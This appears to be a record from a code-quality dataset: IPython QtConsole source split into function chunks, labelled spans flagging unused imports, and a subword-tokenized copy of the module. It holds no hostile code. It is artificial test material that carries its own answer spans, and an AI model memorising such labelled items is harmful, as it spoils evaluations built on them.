interface\n #---------------------------------------------------------------------------\n ", "metadata": "root.MainWindow", "header": "['module', '___EOS___']", "index": 67 }, { "content": " def __init__(self, app, frontend, existing=False, may_close=True,\n confirm_exit=True):\n \"\"\" Create a MainWindow for the specified FrontendWidget.\n \n The app is passed as an argument to allow for different\n closing behavior depending on whether we are the Kernel's parent.\n \n If existing is True, then this Console does not own the Kernel.\n \n If may_close is True, then this Console is permitted to close the kernel\n \"\"\"\n super(MainWindow, self).__init__()\n self._app = app\n self._frontend = frontend\n self._existing = existing\n if existing:\n self._may_close = may_close\n else:\n self._may_close = True\n self._frontend.exit_requested.connect(self.close)\n self._confirm_exit = confirm_exit\n self.setCentralWidget(frontend)", "metadata": "root.MainWindow.__init__", "header": "['class', 'MainWindow', '(', 'QtGui', '.', 'QMainWindow', ')', ':', '___NEWLINE___', '___NL___', '#---------------------------------------------------------------------------', '___NL___', \"# 'object' interface\", '___NL___', '#---------------------------------------------------------------------------', '___NL___', '___EOS___']", "index": 73 }, { "content": " def closeEvent(self, event):\n \"\"\" Close the window and the kernel (if necessary).\n \n This will prompt the user if they are finished with the kernel, and if\n so, closes the kernel cleanly. Alternatively, if the exit magic is used,\n it closes without prompt.\n \"\"\"\n keepkernel = None #Use the prompt by default\n if hasattr(self._frontend,'_keep_kernel_on_exit'): #set by exit magic\n keepkernel = self._frontend._keep_kernel_on_exit\n \n kernel_manager = self._frontend.kernel_manager\n \n if keepkernel is None and not self._confirm_exit:\n # don't prompt, just terminate the kernel if we own it\n # or leave it alone if we don't\n keepkernel = not self._existing\n \n if keepkernel is None: #show prompt\n if kernel_manager and kernel_manager.channels_running:\n title = self.window().windowTitle()\n cancel = QtGui.QMessageBox.Cancel\n okay = QtGui.QMessageBox.Ok\n if self._may_close:\n msg = \"You are closing this Console window.\"\n info = \"Would you like to quit the Kernel and all attached Consoles as well?\"\n justthis = QtGui.QPushButton(\"&No, just this Console\", self)\n justthis.setShortcut('N')\n closeall = QtGui.QPushButton(\"&Yes, quit everything\", self)\n closeall.setShortcut('Y')\n box = QtGui.QMessageBox(QtGui.QMessageBox.Question,\n title, msg)\n box.setInformativeText(info)\n box.addButton(cancel)\n box.addButton(justthis, QtGui.QMessageBox.NoRole)\n box.addButton(closeall, QtGui.QMessageBox.YesRole)\n box.setDefaultButton(closeall)\n box.setEscapeButton(cancel)\n reply = box.exec_()\n if reply == 1: # close All\n kernel_manager.shutdown_kernel()\n #kernel_manager.stop_channels()\n event.accept()\n elif reply == 0: # close Console\n if not self._existing:\n # Have kernel: don't quit, just close the window\n self._app.setQuitOnLastWindowClosed(False)\n self.deleteLater()\n event.accept()\n else:\n event.ignore()\n else:\n reply = QtGui.QMessageBox.question(self, title,\n \"Are you sure you want to close this Console?\"+\n \"\\nThe Kernel and other Consoles will remain active.\",\n okay|cancel,\n defaultButton=okay\n )\n if reply == okay:\n event.accept()\n else:\n event.ignore()\n elif keepkernel: #close console but leave kernel running (no prompt)\n if kernel_manager and kernel_manager.channels_running:\n if not self._existing:\n # I have the kernel: don't quit, just close the window\n self._app.setQuitOnLastWindowClosed(False)\n event.accept()\n else: #close console and kernel (no prompt)\n if kernel_manager and kernel_manager.channels_running:\n kernel_manager.shutdown_kernel()\n event.accept()", "metadata": "root.MainWindow.closeEvent", "header": "['class', 'MainWindow', '(', 'QtGui', '.', 'QMainWindow', ')', ':', '___NEWLINE___', '___NL___', '#---------------------------------------------------------------------------', '___NL___', \"# 'object' interface\", '___NL___', '#---------------------------------------------------------------------------', '___NL___', '___EOS___']", "index": 100 }, { "content": "class IPythonQtConsoleApp(BaseIPythonApplication):\n name = 'ipython-qtconsole'\n default_config_file_name='ipython_config.py'\n \n description = \"\"\"\n The IPython QtConsole.\n \n This launches a Console-style application using Qt. It is not a full\n console, in that launched terminal subprocesses will not be able to accept\n input.\n \n The QtConsole supports various extra features beyond the Terminal IPython\n shell, such as inline plotting with matplotlib, via:\n \n ipython qtconsole --pylab=inline\n \n as well as saving your session as HTML, and printing the output.\n \n \"\"\"\n examples = _examples\n\n classes = [IPKernelApp, IPythonWidget, ZMQInteractiveShell, ProfileDir, Session]\n flags = Dict(flags)\n aliases = Dict(aliases)\n\n kernel_argv = List(Unicode)\n\n # create requested profiles by default, if they don't exist:\n auto_create = CBool(True)\n # connection info:\n ip = Unicode(LOCALHOST, config=True,\n help=\"\"\"Set the kernel\\'s IP address [default localhost].\n If the IP address is something other than localhost, then\n Consoles on other machines will be able to connect\n to the Kernel, so be careful!\"\"\"\n )\n hb_port = Int(0, config=True,\n help=\"set the heartbeat port [default: random]\")\n shell_port = Int(0, config=True,\n help=\"set the shell (XREP) port [default: random]\")\n iopub_port = Int(0, config=True,\n help=\"set the iopub (PUB) port [default: random]\")\n stdin_port = Int(0, config=True,\n help=\"set the stdin (XREQ) port [default: random]\")\n\n existing = CBool(False, config=True,\n help=\"Whether to connect to an already running Kernel.\")\n\n stylesheet = Unicode('', config=True,\n help=\"path to a custom CSS stylesheet\")\n\n pure = CBool(False, config=True,\n help=\"Use a pure Python kernel instead of an IPython kernel.\")\n plain = CBool(False, config=True,\n help=\"Use a plaintext widget instead of rich text (plain can't print/save).\")\n\n\n _plain_changed = _pure_changed\n\n confirm_exit = CBool(True, config=True,\n help=\"\"\"\n Set to display confirmation dialog on exit. You can always use 'exit' or 'quit',\n to force a direct exit without any confirmation.\"\"\",\n )\n \n # the factory for creating a widget\n widget_factory = Any(RichIPythonWidget)\n\n\n\n\n\n\n", "metadata": "root.IPythonQtConsoleApp", "header": "['module', '___EOS___']", "index": 232 }, { "content": " def _pure_changed(self, name, old, new):\n kind = 'plain' if self.plain else 'rich'\n self.config.ConsoleWidget.kind = kind\n if self.pure:\n self.widget_factory = FrontendWidget\n elif self.plain:\n self.widget_factory = IPythonWidget\n else:\n self.widget_factory = RichIPythonWidget", "metadata": "root.IPythonQtConsoleApp._pure_changed", "header": "['class', 'IPythonQtConsoleApp', '(', 'BaseIPythonApplication', ')', ':', '___EOS___']", "index": 288 }, { "content": " def parse_command_line(self, argv=None):\n super(IPythonQtConsoleApp, self).parse_command_line(argv)\n if argv is None:\n argv = sys.argv[1:]\n\n self.kernel_argv = list(argv) # copy\n # kernel should inherit default config file from frontend\n self.kernel_argv.append(\"--KernelApp.parent_appname='%s'\"%self.name)\n # scrub frontend-specific flags\n for a in argv:\n \n if a.startswith('-'):\n key = a.lstrip('-').split('=')[0]\n if key in qt_flags:\n self.kernel_argv.remove(a)", "metadata": "root.IPythonQtConsoleApp.parse_command_line", "header": "['class', 'IPythonQtConsoleApp', '(', 'BaseIPythonApplication', ')', ':', '___EOS___']", "index": 309 }, { "content": " def init_kernel_manager(self):\n # Don't let Qt or ZMQ swallow KeyboardInterupts.\n signal.signal(signal.SIGINT, signal.SIG_DFL)\n\n # Create a KernelManager and start a kernel.\n self.kernel_manager = QtKernelManager(\n shell_address=(self.ip, self.shell_port),\n sub_address=(self.ip, self.iopub_port),\n stdin_address=(self.ip, self.stdin_port),\n hb_address=(self.ip, self.hb_port),\n config=self.config\n )\n # start the kernel\n if not self.existing:\n kwargs = dict(ip=self.ip, ipython=not self.pure)\n kwargs['extra_arguments'] = self.kernel_argv\n self.kernel_manager.start_kernel(**kwargs)\n self.kernel_manager.start_channels()", "metadata": "root.IPythonQtConsoleApp.init_kernel_manager", "header": "['class', 'IPythonQtConsoleApp', '(', 'BaseIPythonApplication', ')', ':', '___EOS___']", "index": 325 }, { "content": " def init_qt_elements(self):\n # Create the widget.\n self.app = QtGui.QApplication([])\n local_kernel = (not self.existing) or self.ip in LOCAL_IPS\n self.widget = self.widget_factory(config=self.config,\n local_kernel=local_kernel)\n self.widget.kernel_manager = self.kernel_manager\n self.window = MainWindow(self.app, self.widget, self.existing,\n may_close=local_kernel,\n confirm_exit=self.confirm_exit)\n self.window.setWindowTitle('Python' if self.pure else 'IPython')", "metadata": "root.IPythonQtConsoleApp.init_qt_elements", "header": "['class', 'IPythonQtConsoleApp', '(', 'BaseIPythonApplication', ')', ':', '___EOS___']", "index": 345 }, { "content": " def init_colors(self):\n \"\"\"Configure the coloring of the widget\"\"\"\n # Note: This will be dramatically simplified when colors\n # are removed from the backend.\n\n if self.pure:\n # only IPythonWidget supports styling\n return\n\n # parse the colors arg down to current known labels\n try:\n colors = self.config.ZMQInteractiveShell.colors\n except AttributeError:\n colors = None\n try:\n style = self.config.IPythonWidget.colors\n except AttributeError:\n style = None\n\n # find the value for colors:\n if colors:\n colors=colors.lower()\n if colors in ('lightbg', 'light'):\n colors='lightbg'\n elif colors in ('dark', 'linux'):\n colors='linux'\n else:\n colors='nocolor'\n elif style:\n if style=='bw':\n colors='nocolor'\n elif styles.dark_style(style):\n colors='linux'\n else:\n colors='lightbg'\n else:\n colors=None\n\n # Configure the style.\n widget = self.widget\n if style:\n widget.style_sheet = styles.sheet_from_template(style, colors)\n widget.syntax_style = style\n widget._syntax_style_changed()\n widget._style_sheet_changed()\n elif colors:\n # use a default style\n widget.set_default_style(colors=colors)\n else:\n # this is redundant for now, but allows the widget's\n # defaults to change\n widget.set_default_style()\n\n if self.stylesheet:\n # we got an expicit stylesheet\n if os.path.isfile(self.stylesheet):\n with open(self.stylesheet) as f:\n sheet = f.read()\n widget.style_sheet = sheet\n widget._style_sheet_changed()\n else:\n raise IOError(\"Stylesheet %r not found.\"%self.stylesheet)", "metadata": "root.IPythonQtConsoleApp.init_colors", "header": "['class', 'IPythonQtConsoleApp', '(', 'BaseIPythonApplication', ')', ':', '___EOS___']", "index": 357 }, { "content": " def initialize(self, argv=None):\n super(IPythonQtConsoleApp, self).initialize(argv)\n self.init_kernel_manager()\n self.init_qt_elements()\n self.init_colors()", "metadata": "root.IPythonQtConsoleApp.initialize", "header": "['class', 'IPythonQtConsoleApp', '(', 'BaseIPythonApplication', ')', ':', '___EOS___']", "index": 420 }, { "content": " def start(self):\n\n # draw the window\n self.window.show()\n\n # Start the application main loop.\n self.app.exec_()", "metadata": "root.IPythonQtConsoleApp.start", "header": "['class', 'IPythonQtConsoleApp', '(', 'BaseIPythonApplication', ')', ':', '___EOS___']", "index": 426 }, { "content": "def main():\n app = IPythonQtConsoleApp()\n app.initialize()\n app.start()", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 438 } ]
[ { "span": "from pygments.styles import get_all_styles", "start_line": 25, "start_column": 0, "end_line": 25, "end_column": 42 }, { "span": "from IPython.utils.traitlets import (\n Dict, List, Unicode, Int, CaselessStrEnum, CBool, Any\n)", "start_line": 36, "start_column": 0, "end_line": 38, "end_column": 1 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", " ", "A", " ", "minima", "l", " ", "applica", "tion", " ", "usi", "ng", " ", "the", " ", "Qt", " ", "console", "-", "style", " ", "IP", "yth", "on", " ", "front", "end", ".", "\\", "10", ";", "\\", "10", ";", "Thi", "s", " ", "is", " ", "not", " ", "a", " ", "complete", " ", "console", " ", "app", ",", " ", "as", " ", "subproc", "ess", " ", "will", " ", "not", " ", "be", " ", "able", " ", "to", " ", "receive", "\\", "10", ";", "input", ",", " ", "there", " ", "is", " ", "no", " ", "real", " ", "readline", " ", "support", ",", " ", "amo", "ng", " ", "other", " ", "limit", "ation", "s", ".", "\\", "10", ";", "\\", "10", ";", "Author", "s", ":", "\\", "10", ";", "\\", "10", ";", "*", " ", "Eva", "n", " ", "Pat", "ters", "on", "\\", "10", ";", "*", " ", "Min", " ", "RK", "\\", "10", ";", "*", " ", "Eri", "k", " ", "Tol", "ler", "ud", "\\", "10", ";", "*", " ", "Fer", "nand", "o", " ", "Per", "ez", "\\", "10", ";", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Imports", "_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "stdlib", " ", "imports_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "signal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "System", " ", "librar", "y", " ", "imports_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "IP", "ython_", "._", "external_", "._", "qt_", "import_", "Qt", "Gui_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pygments_", "._", "styles_", "import_", "get", "\\u", "all", "\\u", "styles_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Local", " ", "imports_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "IP", "ython_", "._", "config_", "._", "application_", "import_", "boolean", "\\u", "flag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "IP", "ython_", "._", "core_", "._", "application_", "import_", "Base", "IP", "yth", "on", "Application_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "IP", "ython_", "._", "core_", "._", "profile", "dir_", "import_", "Profil", "e", "Dir_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "IP", "ython_", "._", "frontend_", "._", "qt_", "._", "console_", "._", "front", "end", "\\u", "widget_", "import_", "Front", "end", "Widget_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "IP", "ython_", "._", "frontend_", "._", "qt_", "._", "console_", "._", "ipython", "\\u", "widget_", "import_", "IP", "yth", "on", "Widget_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "IP", "ython_", "._", "frontend_", "._", "qt_", "._", "console_", "._", "rich", "\\u", "ipython", "\\u", "widget_", "import_", "Rich", "IP", "yth", "on", "Widget_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "IP", "ython_", "._", "frontend_", "._", "qt_", "._", "console_", "import_", "styles_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "IP", "ython_", "._", "frontend_", "._", "qt_", "._", "kernel", "manager_", "import_", "Qt", "Kern", "el", "Manager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "IP", "ython_", "._", "utils_", "._", "tra", "itle", "ts_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Dict_", ",_", "List_", ",_", "Unicode_", ",_", "Int_", ",_", "Case", "less", "Str", "Enum_", ",_", "CB", "ool_", ",_", "Any_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "IP", "ython_", "._", "zmq_", "._", "ip", "kernel_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "flags_", "as_", "ip", "kernel", "\\u", "flags_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "aliases_", "as_", "ip", "kernel", "\\u", "aliases_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "IP", "Kern", "el", "App_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "IP", "ython_", "._", "zmq_", "._", "session_", "import_", "Session_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "IP", "ython_", "._", "zmq_", "._", "zmq", "shell_", "import_", "ZM", "QI", "nter", "active", "Shell_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Network", " ", "Constants_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "IP", "ython_", "._", "utils_", "._", "locali", "nter", "faces_", "import_", "LOCAL", "HOST_", ",_", "LOCAL", "\\u", "IPS", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Globals_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "examples_", "=_", "\"\"\"", "\\", "10", ";", "ipython", " ", "qt", "console", " ", " ", " ", " ", " ", "#", " ", "start", " ", "the", " ", "qt", "console", "\\", "10", ";", "ipython", " ", "qt", "console", " ", "--", "pyla", "b", "=", "inline", " ", " ", "#", " ", "start", " ", "with", " ", "pyla", "b", " ", "in", " ", "inline", " ", "plott", "ing", " ", "mode", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Classes_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Aliase", "s", " ", "and", " ", "Flags_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "flags_", "=_", "dict_", "(_", "ip", "kernel", "\\u", "flags_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "qt", "\\u", "flags_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "exist", "ing", "'_", ":_", "(_", "{_", "'", "IP", "yth", "on", "Qt", "Cons", "ole", "App", "'_", ":_", "{_", "'", "exist", "ing", "'_", ":_", "True_", "}_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Connect", " ", "to", " ", "an", " ", "exist", "ing", " ", "kernel", ".\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "pure", "'_", ":_", "(_", "{_", "'", "IP", "yth", "on", "Qt", "Cons", "ole", "App", "'_", ":_", "{_", "'", "pure", "'_", ":_", "True_", "}_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Us", "e", " ", "a", " ", "pure", " ", "Pyth", "on", " ", "kernel", " ", "inst", "ead", " ", "of", " ", "an", " ", "IP", "yth", "on", " ", "kernel", ".\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "plain", "'_", ":_", "(_", "{_", "'", "Cons", "ole", "Wid", "get", "'_", ":_", "{_", "'", "kind", "'_", ":_", "'", "plain", "'_", "}_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Disa", "ble", " ", "rich", " ", "text", " ", "support", ".\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "qt", "\\u", "flags_", "._", "update_", "(_", "boolean", "\\u", "flag_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "gui", "-", "completion", "'_", ",_", "'", "Cons", "ole", "Wid", "get", ".", "gui", "\\u", "completion", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "use", " ", "a", " ", "GU", "I", " ", "widget", " ", "for", " ", "tab", " ", "completion", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "use", " ", "plain", "text", " ", "output", " ", "for", " ", "completion", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "qt", "\\u", "flags_", "._", "update_", "(_", "boolean", "\\u", "flag_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "confirm", "-", "exit", "'_", ",_", "'", "IP", "yth", "on", "Qt", "Cons", "ole", "App", ".", "confirm", "\\u", "exit", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Set", " ", "to", " ", "display", " ", "confirmation", " ", "dialog", " ", "on", " ", "exit", ".", " ", "You", " ", "can", " ", "alw", "ay", "s", " ", "use", " ", "'", "exit", "'", " ", "or", " ", "'", "quit", "',", "\\", "10", ";", " ", " ", " ", "to", " ", "force", " ", "a", " ", "direct", " ", "exit", " ", "with", "out", " ", "any", " ", "confirmation", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Don", "'", "t", " ", "prompt", " ", "the", " ", "user", " ", "whe", "n", " ", "exit", "ing", ".", " ", "Thi", "s", " ", "will", " ", "terminate", " ", "the", " ", "kernel", "\\", "10", ";", " ", " ", " ", "if", " ", "it", " ", "is", " ", "owned", " ", "by", " ", "the", " ", "front", "end", ",", " ", "and", " ", "lea", "ve", " ", "it", " ", "alive", " ", "if", " ", "it", " ", "is", " ", "external", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flags_", "._", "update_", "(_", "qt", "\\u", "flags_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "the", " ", "flags", " ", "tha", "t", " ", "are", " ", "specific", " ", "to", " ", "the", " ", "frontend_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "these", " ", "must", " ", "be", " ", "scrub", "bed", " ", "bef", "ore", " ", "bei", "ng", " ", "pass", "ed", " ", "to", " ", "the", " ", "kernel", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "or", " ", "it", " ", "will", " ", "raise", " ", "an", " ", "error", " ", "on", " ", "unre", "cogni", "zed", " ", "flags_", "\\u\\u\\uNL\\u\\u\\u_", "qt", "\\u", "flags_", "=_", "list_", "(_", "qt", "\\u", "flags_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "aliases_", "=_", "dict_", "(_", "ip", "kernel", "\\u", "aliases_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "qt", "\\u", "aliases_", "=_", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "hb_", "=_", "'", "IP", "yth", "on", "Qt", "Cons", "ole", "App", ".", "hb", "\\u", "port", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shell_", "=_", "'", "IP", "yth", "on", "Qt", "Cons", "ole", "App", ".", "shell", "\\u", "port", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "iop", "ub_", "=_", "'", "IP", "yth", "on", "Qt", "Cons", "ole", "App", ".", "iop", "ub", "\\u", "port", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stdin_", "=_", "'", "IP", "yth", "on", "Qt", "Cons", "ole", "App", ".", "std", "in", "\\u", "port", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ip_", "=_", "'", "IP", "yth", "on", "Qt", "Cons", "ole", "App", ".", "ip", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "style_", "=_", "'", "IP", "yth", "on", "Wid", "get", ".", "synta", "x", "\\u", "style", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stylesheet", "_", "=_", "'", "IP", "yth", "on", "Qt", "Cons", "ole", "App", ".", "stylesheet", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "colors_", "=_", "'", "ZM", "QI", "nter", "active", "Shel", "l", ".", "colors", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "editor_", "=_", "'", "IP", "yth", "on", "Wid", "get", ".", "editor", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "paging", "_", "=_", "'", "Cons", "ole", "Wid", "get", ".", "paging", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aliases_", "._", "update_", "(_", "qt", "\\u", "aliases_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "als", "o", " ", "scrub", " ", "alias", "es", " ", "from", " ", "the", " ", "frontend_", "\\u\\u\\uNL\\u\\u\\u_", "qt", "\\u", "flags_", "._", "extend_", "(_", "list_", "(_", "qt", "\\u", "aliases_", "._", "keys_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "IP", "yth", "on", "Qt", "Console_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Main", " ", "entry", " ", "point_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Main", "Window_", "(_", "Qt", "Gui_", "._", "QM", "ain", "Window_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "'", "object", "'", " ", "interface_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "QW", "idge", "t", " ", "interface_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Main", "Window_", "(_", "Qt", "Gui_", "._", "QM", "ain", "Window_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "'", "object", "'", " ", "interface_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "app_", ",_", "frontend_", ",_", "existing_", "=_", "False_", ",_", "may", "\\u", "close_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "confirm", "\\u", "exit_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Creat", "e", " ", "a", " ", "Main", "Window", " ", "for", " ", "the", " ", "specified", " ", "Front", "end", "Wid", "get", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "app", " ", "is", " ", "pass", "ed", " ", "as", " ", "an", " ", "argu", "ment", " ", "to", " ", "allow", " ", "for", " ", "different", "\\", "10", ";", " ", " ", " ", " ", "clos", "ing", " ", "behavior", " ", "depend", "ing", " ", "on", " ", "whe", "ther", " ", "we", " ", "are", " ", "the", " ", "Kern", "el", "'", "s", " ", "parent", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "If", 